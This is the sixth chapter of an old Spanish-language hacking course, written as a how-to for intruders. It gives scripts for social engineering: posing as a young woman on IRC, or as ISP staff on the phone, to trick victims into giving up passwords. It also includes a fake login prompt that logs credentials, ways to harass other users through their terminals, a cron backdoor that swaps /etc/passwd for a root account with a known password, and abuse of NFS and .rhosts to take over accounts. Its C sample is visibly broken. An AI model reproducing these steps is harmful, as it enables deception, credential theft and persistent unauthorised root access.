La ingeniería social
En el capítulo cuatro os expliqué
que la mejor manera de coger cuentas (logins y passwords) es usando esta
técnica llamada ingeniería social. Hace tiempo leí
en un número de SET (http://www.geocities.com/SiliconValley/8726)
un artículo de eljacker sobre cómo engañar a la gente
en el IRC para conseguir cuentas. Realmente es una técnica que funciona
muy bien.
Estos son los pasos que hay que seguir:
1 - Cambio total de identidad. Nos
interesa ser una mujer de entre 20 y 25 años, que no tiene ni idea
de informática y que se conecta al IRC por primera vez. Generalmente
nos pondremos un nombre como Ana, Raquel... Esta mujer que estamos simulando
es agradable, simpática y abierta. No tiene novio (generalmente
acaba de romper con el que tenía) y físicamente es normal.
2 - Nos conectamos al IRC con nuestro
nombre como nickname (el nombre de la mujer que simulamos, por supuesto).
Nos conectamos en seguida a canales de ayuda. Si todo va bien muchos tipos
empezarán a querer hablar con nosotros.
3 - Tenemos que elegir una víctima.
Un tipo de edad media que sea más o menos novatillo en informática.
Si observamos a alguien así, en seguida tenemos que entablar amistad
con él.
4 - Cuando empezemos a hablar con nuestra
víctima le haremos todo tipo de preguntas acerca de informática.
La primera conversación la haremos cortita y quedaremos para otro
día para seguir hablando.
5 - Después de unas cuantas
conversaciones, cuando ya tengamos una cierta confianza con nuestra víctima,
le preguntaremos acerca de la conexión a Internet, cómo funciona
el acceso telefónico a redes, etc. Tenemos que intentar sacar el
máximo de datos acerca de él. Si nos ha dado su e-mail ya
sabremos: - Qué proveedor usa
- Qué login tiene
Con lo que sólo nos falta saber
el password que usa.
6 - Intentaremos conseguir el password,
con mucho cuidado. Por ejemplo, diciéndo el nuestro (falso, claro)
y preguntando el suyo. Generalmente contestará algo como "Pero me
han dicho que no lo diga..." aquí es cuando tenemos que decir: "Pero
si no pasa nada, quedará entre nosotros... y yo te he dicho el mío...".
7 - Si todo va bien conseguiremos el
password. Si lo tenemos, no diremos a nuestra víctima quien somos
en realidad sino que le haremos creer que no sucede nada, y si conviene,
la seguiremos visitando periódicamente con nuestra falsa identidad
para que no sospeche nada.
Otra técnica de ingeniería
social consiste en hacer llamadas falsas de teléfono. Supongamos
que conocemos a algún usuario de un ISP, del cual conocemos su nombre
entero, su teléfono y su login al ISP. Si no tenemos una voz convincente
no colará. Podemos usar, por ejemplo, pañuelos en la boca
para cambiarnos la voz. Lo llamamos y decimos algo así:
Víctima : ¿ Sí
?
Nosotros : ¿ Fernando Ruiz Cortés
?
Víctima : Sí, soy yo
Nosotros : Le llamo desde INTERNET
LAMMERS S.A. Ha sucedido un problema con su cuenta de acceso a Internet.
Víctima : ¿ Cúal
?
Nosotros : Creemos que alguien además
de usted la ha estado usando repetidas veces.
Víctima : Esta cuenta solo la
uso yo desde mi casa.
Nosotros : Creemos que la información
de su cuenta está en manos de otra gente, así que lo mejor
que podría hacer sería cambiar su password.
Víctima : De acuerdo.
Nosotros : Necesitamos que nos diga
su password actual y a continuación el que quiere establecer como
nuevo.
Víctima : Mi password ahora
es fer10, y como nuevo quiero tener fer60.
Nosotros : Espere un momento.
( Esperamos unos 10 segundos )
Nosotros : Bien, su cuenta ha sido
confirmada y hemos aplicado el cambio de password exitosamente. Que tenga
un buen día.
Víctima : Adiós.
¿ Lo veis ? Es muy fácil
engañar a la gente. Claro que por teléfono nos podemos poner
nerviosos y ponernos en evidencia, pero nunca sabrán quien somos
si hemos trucado nuestra voz.
Otra técnica que apliqué
yo en mis primeros contactos con Internet: fui a un club donde habían
bastantes ordenadores y habían dos para conectarse a Internet. No
estaban permanentemente conectados, por lo que era necesario establecer
una comunicación a través de acceso telefónico a redes.
Me dejaron solo y yo dije que ya sabía cómo iba esto. En
seguida memoricé el login y la IP del proveedor, y cambié
el password de acceso telefónico por uno aleatorio pero con la misma
cantidad de carácteres ( de forma que no se notase nada, que se
viesen los mismos asteriscos ). Entonces hice ver que intentaba conectar
y llamé a la responsable diciéndole que no funcionaba. Intentó
conectar y entonces la tía al ver que no iba puso el password otra
vez, yo memoricé todas las teclas que apretaba y en mi casa intentándolo
unas 5 veces cogí el password correcto. Esta técnica se puede
aplicar en casa de un amigo o en cualquier lugar parecido.
Donde es más interesante aplicar
técnicas de ingeniería social es en universidades, para poder
conseguir shells en sistemas UNIX.
Programación en SHELL
y en C
La programación en shell es
parecida a la programación de ficheros .BAT en MS-DOS. No os voy
a decir casi nada acerca de este tema, os recomiendo que busqueis por Internet
algún documento sobre programación en shell.
Básicamente, si sabeis utilizar
UNIX podeis hacer algo. Por ejemplo, ejecutar cuatro programas sucesivamente,
simplemente teneis que crear un archivo, poner las rutas de los programas,
darle permiso de ejecución y ejecutarlo. Los caballos de troya que
hemos visto en la unidad 4 son un ejemplo de programación en shell
a nivel simple.
Este programa es un ejemplo de cómo
introducir inputs (preguntas para coger información referente a
una variable determinada) y definir variables:
echo "Login: \c"
read login
echo off
echo "Password:\c"
read password
echo on
echo "Login: $login . Password: $password"
Lo que hace es introducir un prompt
de autentificación como el que sale cuando nos conectamos a un sistema
UNIX (login/password). Al final, muestra el login y el password que hemos
introducido.
En mi opinión es mejor programar
en C, claro que la programación en shell también puede ser
más apropiada para según qué tipo de situaciones.
El programa que os he escrito antes, en C sería así:
main()
{
char *login[80];
char *password[20];
FILE *fichero;
printf("Login: ");
gets(login);
password = getpass("Password:");
fichero = fopen("/usr/badboy/info.hacking","a");
fprintf(fichero,"Nombre de login: (%s), Password: "[%s]\n",login,password);
fclose(fichero);
}
Naturalmente faltaría incluir
alguna librería y una desviación a un error, pero es para
que os hagais alguna idea. Este programa lo que hace, además, es
incluir la información de Login y Password a un fichero situado
en /usr/badboy/ llamado info.hacking.
En fin, si de verdad os interesa esto
del hacking buscad información acerca de programación tanto
en shell como en C.
Chinchando a la gente en un
sistema UNIX
Si estás como en un sistema
UNIX y hay alguien más conectado, puedes divertirte chinchándolo.
Por ejemplo, puedes enviarle mensajes
a su consola. Sin necesidad de ser root.
Primero haces un who:
$ who
badboy tty1
juan tty2
TTY1 es la cónsola que tú
usas, y TTY2 la que usa Juan. Los controladores de estas cónsolas
están en el directorio /dev/. Una cónsola de tipo TTY es
generalmente de un usuario de módem.
Para enviarle un mensaje a Juan, puedes
hacer:
$ banner idiota >/dev/tty2
A juan le aparecerá ese mensaje
en su pantalla.
De hecho puedes enviar cualquier cosa
a la pantalla de Juan. Incluso un archivo de un montón de lineas,
si él tiene una conexión mala preferirá desconectar.
$ cat biblia.volumen1 >>/dev/tty2&
A ti el archivo no te aparece, pero
a él sí.
Incluso puedes hacer que todo lo que
tú hagas le salga a él, transmitiéndole tu shell:
$ sh >/dev/tty2
$ echo Juan, eres tontisimo
$ banner idiota
Hagas lo que hagas le saldrá
en su pantalla.
Naturalmente haciendo todas estas memeces
te cerrarán el acceso en cuestión de horas, pero si eres
root puedes hacer lo que te plazca y luego modificar los logs para que
el admin no vea tus travesuras. Claro que Juan, si te ve como root haciendo
eso le dirá en seguida al admin real que alguien ha entrado con
acceso root y tururú.
Otra cosa que puedes hacer si eres
root es modificar el .profile de un usuario de manera que cuando conecte,
desconecte sistemáticamente.
Esto se consigue añadiendo una
línea "kill -1 0" al .profile de un usuario.
Lo que hagas depende de tu imaginación.
Y ya sabes que la imaginación no tiene límites. Puedes chinchar
a la gente de un montón de maneras. Y cuando me refiero a chinchar
no me refiero a borrar cosas ni nada por el estilo. No es necesario recurrir
a eso para pasarlo bien.
La utilidad "Cron"
¿ Qué es Cron ? Cron
es el reloj de UNIX. Es, por supuesto, un daemon. Entre otras cosas permite
programar tareas para que se ejecuten diariamente a una hora determinada,
o solo una vez al año cierto día, etc... Es una utilidad
muy bonita, sí señor. Muy bonita para hacer backdoors. El
directorio en el que trabajaremos casi siempre es:
/var/spool/cron/crontabs/
Y el fichero que nos interesa se llama
"root", ya que dentro de las crontabs pueden haber varios ficheros, cada
uno para un usuario distinto. "Root", entonces, son las tareas que el root
programa. O dicho de otra manera, el fichero que permite ejecutar CUALQUIER
tipo de tarea.
Cada fichero crontab tiene este aspecto:
1 2 3 4 5 6
0 0 * * 1 /usr/bin/updatedb
Hay seis campos:
1 - El primer campo indica el minuto
(0 - 59)
2 - El segundo campo indica la hora
(0 - 23)
3 - El tercer campo indica el día
del mes (1 - 31)
4 - El cuarto campo indica el mes del
año (1 - 12)
5 - El quinto campo indica el día
de la semana (1 - 7)
6 - El sexto campo es el programa que
se ejecuta
Un asterisco significa que se ejecuta
en cualquiera de los rangos posibles. En el ejemplo, la utilidad updatedb
se ejecuta a las 24:00 todos los lunes del año. ( ¿ Qué
tal si ponemos que todas las tareas que ya hayan programadas se ejecuten
el 30 de Febrero de cada año ? ¿ Se enfadará el admin
? ).
Sabiendo esto podemos introducir todo
tipo de actividades programadas en nuestro favor. He aquí un ejemplo
muy rebuscado:
- Hacemos que cada día, a las
2:30 de la mañana el archivo passwd cambie y se convierta en un
archivo passwd con una sola entrada, la de root, y con un password que
ya conocemos, todo a través de un shellscript, el cual se encarga,
al cabo de un minuto, de volver a poner el passwd original de manera que
en ese minuto tenemos tiempo de entrar como root (¡ pero solo tenemos
un minuto !). Por supuesto hay que sincronizar los relojes. Este es el
proceso:
Añadimos este campo al crontab
de root:
30 2 * * * /bin/usr/badboy/.prueba
El fichero .prueba es el shellscript
que hace todo el tinglao, y está en mi directorio de inicio. Por
supuesto tiene ese nombre para no levantar sospechas si el root echa un
vistazo a mi directorio de inicio.
Ahora copiamos el archivo passwd y
lo modificamos para que solo haya una entrada, la de root, y esta tenga
un password normal, por ejemplo:
root:123:0:0:operador:/:/bin/sh
El password es 123.
Este archivo también lo ocultamos,
por ejemplo, en mi directorio de inicio (o en cualquier lugar del sistema),
y lo llamamos .copia.
Y finalmente hacemos el shellscript
.prueba:
cp /etc/passwd /etc/.temp
cp /usr/badboy/.copia /etc/passwd
sleep 60
mv /etc/.temp /etc/passwd
Resumiendo:
- Tenemos un archivo de passwd falso
con una sola entrada, la de root, con el password 123 ocultado por ahí
- Tenemos un shellscript que se encarga
de copiar ese archivo de passwd falso y a continuación al cabo de
un minuto restablecer el archivo de password original
- La línea que hemos añadido
al crontab de root se encarga de ejecutar este shellscript cada día
del año a las 2:30.
Conclusión: Cada día
podemos acceder al sistema como root durante un minuto a las 2:30, con
el password 123.
Con la utilidad crontab podemos hacer
miles de backdoors y de caballos de troya. Es realmente muy útil.
Los maravillosos comandos "R"
Los comandos "R" son comandos exclusivos
del sistema UNIX. La "R" proviene de la palabra Remote. Por lo tanto, los
comandos "R" sirven para ejercer tareas de red. Vamos a analizar tres de
ellos y a poner ejemplos de lo útiles que pueden ser.
Rlogin
Ya conoceis Rlogin. Como su nombre
indica, sirve para hacer login a un sistema remoto.
Lo bueno de Rlogin y de los comandos
"r" es que usados de cierta manera nos permiten entrar directamente en
el sistema sin necesidad de autentificación.
Ejemplo 1:
En UNIX cada usuario tiene en su directorio
de inicio el archivo .rhosts. Este archivo contiene las IP's o Host's válidas
para entrar con la cuenta de este usuario. ¿ Qué quiere decir
esto ? Quiere decir que, si en el fichero .rhosts de Julia hay un host
"julia.com", cualquier usuario que esté conectado a internet con
el host "julia.com" podrá entrar directamente con la cuenta Julia
sin necesidad de poner password alguno con un rlogin. Entonces, si pudiesemos
modificar el .rhosts de Julia y escribir nuestra IP en él, podríamos
entrar directamente como Julia sin necesidad de password con un rlogin.
Ejemplo 2:
El fichero host.equiv contiene las
direcciones de los ordenadores que pueden entrar directamente al sistema
sin autentificación, los ordenadores trusteds o colegas. La configuración
de este fichero por defecto permite hacer un rlogin como cualquier usuario
(mientras no sea root) del sistema. Así, si queremos entrar como
BIN basta con que nosotros en nuestro ordenador seamos BIN.
Ejemplo 3:
Supongamos que el directorio de inicio
de Julia está siendo exportado vía NFS y es accesible a todo
el mundo. Esta suposición, para qué engañarnos, es
muy improbable. El admin tendría que estar muy loco para dejar a
cualquier hacker coger cosas del directorio de un usuario de su sistema.
Pero es solo una suposición.
export list for ftp.lammahs.org:
/usr/julia (everyone)
/export/swap (easy)
/ftp/ (easy)
Como os he dicho, es una suposición
para que sepais cómo aprovechar fallos en el NFS. Lo primero que
hacemos es montar el directorio de julia a nuestro ordenador:
# pwd
/
# mkdir /julia
# mount ftp.lammahs.org:/usr/julia /julia
Ahora tenemos acceso a los archivos
de julia sin estar conectados al sistema desde nuestro ordenador yendo
al directorio julia:
# cd julia
# ls -la
Al hacer un listado detallado veremos
todos los ficheros de Julia. En la casilla donde sale el owner del fichero,
nos aparecerá un número. Este número es la etiqueta
que el root ha puesto a Julia para identificarla. Es el número que
aparece en el fichero passwd en la cuenta de Julia.
Podemos ver los archivos pero no podemos
modificarlos. Para modificarlos tenemos que estar al mismo nivel, es decir,
ser Julia. Para conseguir eso añadimos a nuestro passwd una cuenta
que tiene que cumplir estos requisitos:
- el nombre tiene que ser el de julia
- el número identificativo tiene
que ser el que hemos visto al listar los ficheros
- no tenemos que especificar password,
pondremos uno shadow
- tampoco especificaremos shell
Suponiendo que el número identificativo
que hemos encontrado es el 1000, tiene que quedar algo así:
julia:x:1000:1::/:
Como hemos añadido una nueva
cuenta a nuestro passwd, ya podemos usarla. Dejamos de ser root para convertirnos
en Julia.
Nota: Cambiar de acceso en sistemas
UNIX se puede efectuar a través del programa SU. Si somos root y
queremos tener acceso de usuario normal, pues escribiremos SU <usuario>.
Si somos usuario normal y queremos hacernos root, escribiremos SU root
o simplemente SU a secas y nos pedirá el password de root.
# su julia
Ahora que ya somos julia, podemos modificar
los ficheros que hemos montado. ¿ Qué se os ocurre que podemos
hacer ? Por supuesto, añadir a .rhosts nuestra IP actual para poder
hacer un login directamente sin password a ftp.lammahs.org como Julia.
¿ Lo pillais ?
Rusers
Este comando nos permite coger una
información detallada del sistema que queremos atacar. Muestra todos
los usuarios que están activos, de alguna manera, en la red del
sistema.
# rusers -l ftp.lammahs.org
1 2 3 4
root / /bin/sh Tue Nov 7 05:00 on ttyp1 from lammahs.org
bin /bin Never logged in
daemon / Fri Jul 12 00:01 on ttyp0 from lammahs.org
sync / /bin/sync Fri Jul 12 00:01 on ttyp0 from lammahs.org
guest /export/foo /bin/sh Never logged in
ftp /home/ftp Never logged in
Aparecen cuatro campos:
1 - El nombre de login del usuario
del sistema
2 - El directorio de inicio del usuario
3 - El shell del usuario
4 - La última vez que hizo login
o si está actualmente conectado al sistema.
Rsh
Remote Shell es parecido a Rlogin.
Sin embargo, incorpora una opción que permite esquivar los logs
WMTP y UTMP, si podemos hacer un login directo. Ejemplo:
# rsh ftp.lammahs.org csh -i
Como ya he dicho antes, esto solo se
usa si se puede hacer un login directo como he explicado en la sección
Rlogin.
Los auténticos hackers
Si has tenido el valor de leerte todo
el curso y ponerlo todo más o menos en práctica, ¡
felicidades ! Ahora tu vida tiene un nuevo sentido. Sin embargo, nunca
olvides que todo lo que has aprendido aquí solo ha servido para
"iniciarte". Si por saberte a la perfección lo que he intentado
explicarte en este cursillo te crees un hacker, tú mismo. No voy
a ser yo el que te va a fastidiar tu ilusión. Simplemente, ten presente
en todo momento la filosofía hacker. No dejes de leer y de aprender,
aprende de todo y de todos y nunca vayas por encima de nadie. No importa
en cuántos sitios entres, no importa todas las proezas que llegues
a hacer, porque ¿ sabes una cosa ? Los auténticos hackers
crearon Internet. Y toda esta gente que por saber "entrar en un sistema"
se cree HACKER no llegará a ser nunca lo que los auténticos
hackers fueron y son.
El movimiento de hackers en España
no es de los mejores, eso hay que admitirlo. Los americanos nos consideran
el Tercer Mundo. Los americanos piensan en España y enseguida ven
la imagen de una plaza de toros. Tenemos que hacer algo.
La solución no está en
leer un cursillo como este y andar chillando por todos los sitios: "¡
Soy un hacker, soy un hacker !". Demostremos que algún día
sabremos lo suficiente como para considerarnos hackers y empecemos a abrir
nuestras mentes YA. No importa lo que tardemos. Vamos a leer miles de boletines,
en todos los idiomas. Lo pondremos todo en práctica. Si algún
día nos pillan... algo hemos hecho mal, así que otro día
no volverá a suceder. La experiencia nos servirá para aprender.
Entonces, cuando un día veamos
una máquina y seamos capaces de usarla de una manera creativa e
insólita, entonces podremos decir que somos hackers.
Fe de erratas
Unidad 2: Un listado
detallado bajo LINUX no tiene el aspecto que yo escribí. Aparecen,
además, muchos más elementos como la fecha de modificación
(incluyendo mes, día y hora), el owner del fichero...
Unidad 4: Lo que dije acerca
de explotar los fallos del Sendmail es correcto pero se puede matizar.
Los exploits referentes a Sendmail muchas veces sólo contienen instrucciones
acerca de bugs que permiten, por ejemplo, sobreescribir ficheros en el
sistema una vez conectamos al puerto 25 de un sistema. De esta manera,
tenemos que pensar qué fichero nos interesa escribir y qué
queremos escribir en él para llegar a un determinado propósito.
Hay un ejemplo muy claro de esto en la unidad 6 en "Comandos R".
Sobre el IP Spoofing, simplemente
aclarar que mediante showmount -e no obtenemos una lista de sistemas trusteds,
sino una lista de los directorios que son exportados o importados mediante
NFS. La lista que nos interesa está en /etc/hosts.equiv, de manera
que no podemos hacer un spoofing si no tenemos acceso a ese fichero, por
ejemplo, a través de un bug de Sendmail, o si sabemos alguna dirección
trusted de antemano. Sin embargo, si el sistema que queremos atacar tiene
algún tipo de actividad NFS, haciendo un showmount (sin el parámetro
-e) podremos ver los ordenadores que han montado en algún momento
los directorios NFS, en ese caso sí podremos hacer un spoofing.
Temario
- Teoría sobre el hacking (Qué es, para qué sirve, ética, etc). [Capítulo 1].
- Aprender a utilizar LINUX. [Capítulo 2].
- El sistema de archivos de UNIX. [Capítulo 2].
- Tipos de sistemas UNIX. [Capítulo 3].
- Coger información de un sistema. [Capítulo 4].
- Técnicas para entrar en un sistema: - Default counts. [Capítulo 4].
- Ingeniería social. [Capítulos 4 y 6].
- Fallos de seguridad: - Sendmail *. [Capitulos 4 y 6].
- IP Spoofing*. [Capitulos 4 y 6].
- Los maravillosos comandos "r". [Capítulo 6].
- El archivo PASSWD. [Capítulo 4].
- Usar los exploits: - Exploits locales. [Capítulo 4].
- Exploits en C y exploits en SHELL. [Capítulo 4].
- Exploits remotos. [Capítulo 4].
- Qué hacer cuando se es ROOT: - Los caballos de troya. [Capítulo 4].
- Meter backdoors : - Backdoors en el Internet Daemon.[Capítulo 5].
- Backdoors en la utilidad CRON.[Capítulo 6].
- El sistema de logs de UNIX : - El ACCT (Accounting). [Capítulo 5].
- El SysLog. [Capítulo 5].
- Otros logs. [Capítulo 5].
- Modificar los logs para no ser descubierto. [Capítulo 5].
- Intruducción a los Sniffers. [Capítulo 5].
- Mi opininión sobre la programación en UNIX.[Capítulo 6].
- Chinchar a la gente en un sistema UNIX. [Capítulo 6].
- Despedida, reflexión acerca de "los auténticos hackers". [Capítulo 6].
- Fe de erratas. [Capítulo 6].
- Temario. [Capítulo 6].
Los temas con asterisco tienen que ser revisados en la última unidad porque contienen algún
tipo de error o no han sido matizados los suficiente.
Unidades:
- Capítulo 1 - El arte del hacking
- Capítulo 2 - Manejando Linux. Entendiendo UNIX.
- Capítulo 3 - Breve análisis de los sistemas UNIX.
- Capítulo 4 - Entrar en un sistema y enROOTarse.
- Capítulo 5 - Ocultarse en un sistema. Seguir hackeando en otros sistemas.
- Capítulo 6 - Apaga y vámonos.